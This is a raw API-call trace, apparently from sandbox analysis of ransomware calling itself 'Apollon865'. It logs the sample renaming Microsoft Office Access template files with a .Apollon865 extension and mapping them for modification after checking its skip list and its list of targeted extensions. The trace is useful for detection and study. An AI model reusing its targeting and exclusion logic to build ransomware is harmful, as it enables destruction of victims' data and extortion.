	[0065.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Name.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\name.accft.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0065.353] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4404) returned 1
	[0065.353] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.353] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.353] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.353] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.354] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.354] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.354] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1440, lpName=0x0) returned 0x150
	[0065.356] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1440) returned 0x100000
	[0065.356] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.357] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.357] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.357] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.357] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.357] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.357] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.357] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.358] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.358] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.358] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.358] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.358] CloseHandle (hObject=0x150) returned 1
	[0065.358] CloseHandle (hObject=0xc0) returned 1
	[0065.358] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.358] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.358] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.358] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5eb000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c5eb000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1109, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Payment Type.accft", cAlternateFileName="PAYMEN~1.ACC")) returned 1
	[0065.358] lstrcmpiW (lpString1="Payment Type.accft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.358] lstrcmpiW (lpString1="Payment Type.accft", lpString2="Apollon865.txt.exe") returned 1
	[0065.358] lstrcmpiW (lpString1="Payment Type.accft", lpString2=".") returned 1
	[0065.358] lstrcmpiW (lpString1="Payment Type.accft", lpString2="..") returned 1
	[0065.358] lstrcmpiW (lpString1="Payment Type.accft", lpString2="windows") returned -1
	[0065.358] lstrcmpiW (lpString1="Payment Type.accft", lpString2="bootmgr") returned 1
	[0065.359] lstrcmpiW (lpString1="Payment Type.accft", lpString2="temp") returned -1
	[0065.359] lstrcmpiW (lpString1="Payment Type.accft", lpString2="pagefile.sys") returned 1
	[0065.359] lstrcmpiW (lpString1="Payment Type.accft", lpString2="boot") returned 1
	[0065.359] lstrcmpiW (lpString1="Payment Type.accft", lpString2="ids.txt") returned 1
	[0065.359] lstrcmpiW (lpString1="Payment Type.accft", lpString2="ntuser.dat") returned 1
	[0065.359] lstrcmpiW (lpString1="Payment Type.accft", lpString2="perflogs") returned -1
	[0065.359] lstrcmpiW (lpString1="Payment Type.accft", lpString2="MSBuild") returned 1
	[0065.359] lstrlenW (lpString="Payment Type.accft") returned 18
	[0065.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Name.accft") returned 75
	[0065.359] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Payment Type.accft" | out: lpString1="Payment Type.accft") returned="Payment Type.accft"
	[0065.359] lstrlenW (lpString="Payment Type.accft") returned 18
	[0065.359] lstrlenW (lpString="Apollon865") returned 10
	[0065.359] lstrcmpiW (lpString1="Type.accft", lpString2="Apollon865") returned 1
	[0065.359] lstrlenW (lpString=".dll") returned 4
	[0065.359] lstrcmpiW (lpString1="Payment Type.accft", lpString2=".dll") returned 1
	[0065.359] lstrlenW (lpString=".lnk") returned 4
	[0065.359] lstrcmpiW (lpString1="Payment Type.accft", lpString2=".lnk") returned 1
	[0065.359] lstrlenW (lpString=".ini") returned 4
	[0065.359] lstrcmpiW (lpString1="Payment Type.accft", lpString2=".ini") returned 1
	[0065.359] lstrlenW (lpString=".sys") returned 4
	[0065.359] lstrcmpiW (lpString1="Payment Type.accft", lpString2=".sys") returned 1
	[0065.359] lstrlenW (lpString="Payment Type.accft") returned 18
	[0065.359] lstrlenW (lpString="bak") returned 3
	[0065.359] lstrcmpiW (lpString1="cft", lpString2="bak") returned 1
	[0065.359] lstrlenW (lpString="ba_") returned 3
	[0065.359] lstrcmpiW (lpString1="cft", lpString2="ba_") returned 1
	[0065.359] lstrlenW (lpString="dbb") returned 3
	[0065.359] lstrcmpiW (lpString1="cft", lpString2="dbb") returned -1
	[0065.359] lstrlenW (lpString="vmdk") returned 4
	[0065.359] lstrcmpiW (lpString1="ccft", lpString2="vmdk") returned -1
	[0065.359] lstrlenW (lpString="rar") returned 3
	[0065.359] lstrcmpiW (lpString1="cft", lpString2="rar") returned -1
	[0065.359] lstrlenW (lpString="zip") returned 3
	[0065.359] lstrcmpiW (lpString1="cft", lpString2="zip") returned -1
	[0065.359] lstrlenW (lpString="tgz") returned 3
	[0065.360] lstrcmpiW (lpString1="cft", lpString2="tgz") returned -1
	[0065.360] lstrlenW (lpString="vbox") returned 4
	[0065.360] lstrcmpiW (lpString1="ccft", lpString2="vbox") returned -1
	[0065.360] lstrlenW (lpString="vdi") returned 3
	[0065.360] lstrcmpiW (lpString1="cft", lpString2="vdi") returned -1
	[0065.360] lstrlenW (lpString="vhd") returned 3
	[0065.360] lstrcmpiW (lpString1="cft", lpString2="vhd") returned -1
	[0065.360] lstrlenW (lpString="vhdx") returned 4
	[0065.360] lstrcmpiW (lpString1="ccft", lpString2="vhdx") returned -1
	[0065.360] lstrlenW (lpString="avhd") returned 4
	[0065.360] lstrcmpiW (lpString1="ccft", lpString2="avhd") returned 1
	[0065.360] lstrlenW (lpString="db") returned 2
	[0065.360] lstrcmpiW (lpString1="ft", lpString2="db") returned 1
	[0065.360] lstrlenW (lpString="db2") returned 3
	[0065.360] lstrcmpiW (lpString1="cft", lpString2="db2") returned -1
	[0065.360] lstrlenW (lpString="db3") returned 3
	[0065.360] lstrcmpiW (lpString1="cft", lpString2="db3") returned -1
	[0065.360] lstrlenW (lpString="dbf") returned 3
	[0065.360] lstrcmpiW (lpString1="cft", lpString2="dbf") returned -1
	[0065.360] lstrlenW (lpString="mdf") returned 3
	[0065.360] lstrcmpiW (lpString1="cft", lpString2="mdf") returned -1
	[0065.360] lstrlenW (lpString="mdb") returned 3
	[0065.360] lstrcmpiW (lpString1="cft", lpString2="mdb") returned -1
	[0065.360] lstrlenW (lpString="sql") returned 3
	[0065.360] lstrcmpiW (lpString1="cft", lpString2="sql") returned -1
	[0065.360] lstrlenW (lpString="sqlite") returned 6
	[0065.360] lstrcmpiW (lpString1=".accft", lpString2="sqlite") returned -1
	[0065.360] lstrlenW (lpString="sqlite3") returned 7
	[0065.360] lstrcmpiW (lpString1="e.accft", lpString2="sqlite3") returned -1
	[0065.360] lstrlenW (lpString="sqlitedb") returned 8
	[0065.360] lstrcmpiW (lpString1="pe.accft", lpString2="sqlitedb") returned -1
	[0065.360] lstrlenW (lpString="xml") returned 3
	[0065.360] lstrcmpiW (lpString1="cft", lpString2="xml") returned -1
	[0065.360] lstrlenW (lpString="$er") returned 3
	[0065.360] lstrcmpiW (lpString1="cft", lpString2="$er") returned 1
	[0065.361] lstrlenW (lpString="4dd") returned 3
	[0065.361] lstrcmpiW (lpString1="cft", lpString2="4dd") returned 1
	[0065.361] lstrlenW (lpString="4dl") returned 3
	[0065.361] lstrcmpiW (lpString1="cft", lpString2="4dl") returned 1
	[0065.361] lstrlenW (lpString="^^^") returned 3
	[0065.361] lstrcmpiW (lpString1="cft", lpString2="^^^") returned 1
	[0065.361] lstrlenW (lpString="abs") returned 3
	[0065.361] lstrcmpiW (lpString1="cft", lpString2="abs") returned 1
	[0065.361] lstrlenW (lpString="abx") returned 3
	[0065.361] lstrcmpiW (lpString1="cft", lpString2="abx") returned 1
	[0065.361] lstrlenW (lpString="accdb") returned 5
	[0065.361] lstrcmpiW (lpString1="accft", lpString2="accdb") returned 1
	[0065.361] lstrlenW (lpString="accdc") returned 5
	[0065.361] lstrcmpiW (lpString1="accft", lpString2="accdc") returned 1
	[0065.361] lstrlenW (lpString="accde") returned 5
	[0065.361] lstrcmpiW (lpString1="accft", lpString2="accde") returned 1
	[0065.361] lstrlenW (lpString="accdr") returned 5
	[0065.361] lstrcmpiW (lpString1="accft", lpString2="accdr") returned 1
	[0065.361] lstrlenW (lpString="accdt") returned 5
	[0065.361] lstrcmpiW (lpString1="accft", lpString2="accdt") returned 1
	[0065.361] lstrlenW (lpString="accdw") returned 5
	[0065.361] lstrcmpiW (lpString1="accft", lpString2="accdw") returned 1
	[0065.361] lstrlenW (lpString="accft") returned 5
	[0065.361] lstrcmpiW (lpString1="accft", lpString2="accft") returned 0
	[0065.361] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Payment Type.accft.Apollon865") returned 94
	[0065.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Payment Type.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\payment type.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Payment Type.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\payment type.accft.apollon865"), dwFlags=0x1) returned 1
	[0065.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Payment Type.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\payment type.accft.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0065.362] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4361) returned 1
	[0065.362] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.362] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.362] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.363] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.363] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.363] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.363] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1410, lpName=0x0) returned 0x150
	[0065.365] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1410) returned 0x100000
	[0065.366] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.366] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.366] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.366] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.366] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.367] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.367] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.367] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.367] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.367] CloseHandle (hObject=0x150) returned 1
	[0065.367] CloseHandle (hObject=0xc0) returned 1
	[0065.367] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.367] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.367] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.367] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484a7200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x484a7200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Phone.accft", cAlternateFileName="PHONE~1.ACC")) returned 1
	[0065.367] lstrcmpiW (lpString1="Phone.accft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.367] lstrcmpiW (lpString1="Phone.accft", lpString2="Apollon865.txt.exe") returned 1
	[0065.367] lstrcmpiW (lpString1="Phone.accft", lpString2=".") returned 1
	[0065.367] lstrcmpiW (lpString1="Phone.accft", lpString2="..") returned 1
	[0065.367] lstrcmpiW (lpString1="Phone.accft", lpString2="windows") returned -1
	[0065.368] lstrcmpiW (lpString1="Phone.accft", lpString2="bootmgr") returned 1
	[0065.368] lstrcmpiW (lpString1="Phone.accft", lpString2="temp") returned -1
	[0065.368] lstrcmpiW (lpString1="Phone.accft", lpString2="pagefile.sys") returned 1
	[0065.368] lstrcmpiW (lpString1="Phone.accft", lpString2="boot") returned 1
	[0065.368] lstrcmpiW (lpString1="Phone.accft", lpString2="ids.txt") returned 1
	[0065.368] lstrcmpiW (lpString1="Phone.accft", lpString2="ntuser.dat") returned 1
	[0065.368] lstrcmpiW (lpString1="Phone.accft", lpString2="perflogs") returned 1
	[0065.368] lstrcmpiW (lpString1="Phone.accft", lpString2="MSBuild") returned 1
	[0065.368] lstrlenW (lpString="Phone.accft") returned 11
	[0065.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Payment Type.accft") returned 83
	[0065.368] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Phone.accft" | out: lpString1="Phone.accft") returned="Phone.accft"
	[0065.368] lstrlenW (lpString="Phone.accft") returned 11
	[0065.368] lstrlenW (lpString="Apollon865") returned 10
	[0065.368] lstrcmpiW (lpString1="hone.accft", lpString2="Apollon865") returned 1
	[0065.368] lstrlenW (lpString=".dll") returned 4
	[0065.368] lstrcmpiW (lpString1="Phone.accft", lpString2=".dll") returned 1
	[0065.368] lstrlenW (lpString=".lnk") returned 4
	[0065.368] lstrcmpiW (lpString1="Phone.accft", lpString2=".lnk") returned 1
	[0065.368] lstrlenW (lpString=".ini") returned 4
	[0065.368] lstrcmpiW (lpString1="Phone.accft", lpString2=".ini") returned 1
	[0065.368] lstrlenW (lpString=".sys") returned 4
	[0065.368] lstrcmpiW (lpString1="Phone.accft", lpString2=".sys") returned 1
	[0065.368] lstrlenW (lpString="Phone.accft") returned 11
	[0065.368] lstrlenW (lpString="bak") returned 3
	[0065.368] lstrcmpiW (lpString1="cft", lpString2="bak") returned 1
	[0065.368] lstrlenW (lpString="ba_") returned 3
	[0065.368] lstrcmpiW (lpString1="cft", lpString2="ba_") returned 1
	[0065.368] lstrlenW (lpString="dbb") returned 3
	[0065.368] lstrcmpiW (lpString1="cft", lpString2="dbb") returned -1
	[0065.368] lstrlenW (lpString="vmdk") returned 4
	[0065.368] lstrcmpiW (lpString1="ccft", lpString2="vmdk") returned -1
	[0065.368] lstrlenW (lpString="rar") returned 3
	[0065.368] lstrcmpiW (lpString1="cft", lpString2="rar") returned -1
	[0065.368] lstrlenW (lpString="zip") returned 3
	[0065.369] lstrcmpiW (lpString1="cft", lpString2="zip") returned -1
	[0065.369] lstrlenW (lpString="tgz") returned 3
	[0065.369] lstrcmpiW (lpString1="cft", lpString2="tgz") returned -1
	[0065.369] lstrlenW (lpString="vbox") returned 4
	[0065.369] lstrcmpiW (lpString1="ccft", lpString2="vbox") returned -1
	[0065.369] lstrlenW (lpString="vdi") returned 3
	[0065.369] lstrcmpiW (lpString1="cft", lpString2="vdi") returned -1
	[0065.369] lstrlenW (lpString="vhd") returned 3
	[0065.369] lstrcmpiW (lpString1="cft", lpString2="vhd") returned -1
	[0065.369] lstrlenW (lpString="vhdx") returned 4
	[0065.369] lstrcmpiW (lpString1="ccft", lpString2="vhdx") returned -1
	[0065.369] lstrlenW (lpString="avhd") returned 4
	[0065.369] lstrcmpiW (lpString1="ccft", lpString2="avhd") returned 1
	[0065.369] lstrlenW (lpString="db") returned 2
	[0065.369] lstrcmpiW (lpString1="ft", lpString2="db") returned 1
	[0065.369] lstrlenW (lpString="db2") returned 3
	[0065.369] lstrcmpiW (lpString1="cft", lpString2="db2") returned -1
	[0065.369] lstrlenW (lpString="db3") returned 3
	[0065.369] lstrcmpiW (lpString1="cft", lpString2="db3") returned -1
	[0065.369] lstrlenW (lpString="dbf") returned 3
	[0065.369] lstrcmpiW (lpString1="cft", lpString2="dbf") returned -1
	[0065.369] lstrlenW (lpString="mdf") returned 3
	[0065.369] lstrcmpiW (lpString1="cft", lpString2="mdf") returned -1
	[0065.369] lstrlenW (lpString="mdb") returned 3
	[0065.369] lstrcmpiW (lpString1="cft", lpString2="mdb") returned -1
	[0065.369] lstrlenW (lpString="sql") returned 3
	[0065.369] lstrcmpiW (lpString1="cft", lpString2="sql") returned -1
	[0065.369] lstrlenW (lpString="sqlite") returned 6
	[0065.369] lstrcmpiW (lpString1=".accft", lpString2="sqlite") returned -1
	[0065.369] lstrlenW (lpString="sqlite3") returned 7
	[0065.369] lstrcmpiW (lpString1="e.accft", lpString2="sqlite3") returned -1
	[0065.369] lstrlenW (lpString="sqlitedb") returned 8
	[0065.369] lstrcmpiW (lpString1="ne.accft", lpString2="sqlitedb") returned -1
	[0065.369] lstrlenW (lpString="xml") returned 3
	[0065.369] lstrcmpiW (lpString1="cft", lpString2="xml") returned -1
	[0065.370] lstrlenW (lpString="$er") returned 3
	[0065.370] lstrcmpiW (lpString1="cft", lpString2="$er") returned 1
	[0065.370] lstrlenW (lpString="4dd") returned 3
	[0065.370] lstrcmpiW (lpString1="cft", lpString2="4dd") returned 1
	[0065.370] lstrlenW (lpString="4dl") returned 3
	[0065.370] lstrcmpiW (lpString1="cft", lpString2="4dl") returned 1
	[0065.370] lstrlenW (lpString="^^^") returned 3
	[0065.370] lstrcmpiW (lpString1="cft", lpString2="^^^") returned 1
	[0065.370] lstrlenW (lpString="abs") returned 3
	[0065.370] lstrcmpiW (lpString1="cft", lpString2="abs") returned 1
	[0065.370] lstrlenW (lpString="abx") returned 3
	[0065.370] lstrcmpiW (lpString1="cft", lpString2="abx") returned 1
	[0065.370] lstrlenW (lpString="accdb") returned 5
	[0065.370] lstrcmpiW (lpString1="accft", lpString2="accdb") returned 1
	[0065.370] lstrlenW (lpString="accdc") returned 5
	[0065.370] lstrcmpiW (lpString1="accft", lpString2="accdc") returned 1
	[0065.370] lstrlenW (lpString="accde") returned 5
	[0065.370] lstrcmpiW (lpString1="accft", lpString2="accde") returned 1
	[0065.370] lstrlenW (lpString="accdr") returned 5
	[0065.370] lstrcmpiW (lpString1="accft", lpString2="accdr") returned 1
	[0065.370] lstrlenW (lpString="accdt") returned 5
	[0065.370] lstrcmpiW (lpString1="accft", lpString2="accdt") returned 1
	[0065.370] lstrlenW (lpString="accdw") returned 5
	[0065.370] lstrcmpiW (lpString1="accft", lpString2="accdw") returned 1
	[0065.370] lstrlenW (lpString="accft") returned 5
	[0065.370] lstrcmpiW (lpString1="accft", lpString2="accft") returned 0
	[0065.370] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Phone.accft.Apollon865") returned 87
	[0065.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Phone.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\phone.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Phone.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\phone.accft.apollon865"), dwFlags=0x1) returned 1
	[0065.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Phone.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\phone.accft.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0065.371] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4306) returned 1
	[0065.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.372] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.372] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.372] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.372] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x150
	[0065.374] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x100000
	[0065.376] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.377] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.377] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.377] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.378] CloseHandle (hObject=0x150) returned 1
	[0065.378] CloseHandle (hObject=0xc0) returned 1
	[0065.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.378] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54363400, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54363400, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x112d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Priority.accft", cAlternateFileName="PRIORI~1.ACC")) returned 1
	[0065.378] lstrcmpiW (lpString1="Priority.accft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.378] lstrcmpiW (lpString1="Priority.accft", lpString2="Apollon865.txt.exe") returned 1
	[0065.378] lstrcmpiW (lpString1="Priority.accft", lpString2=".") returned 1
	[0065.378] lstrcmpiW (lpString1="Priority.accft", lpString2="..") returned 1
	[0065.378] lstrcmpiW (lpString1="Priority.accft", lpString2="windows") returned -1
	[0065.378] lstrcmpiW (lpString1="Priority.accft", lpString2="bootmgr") returned 1
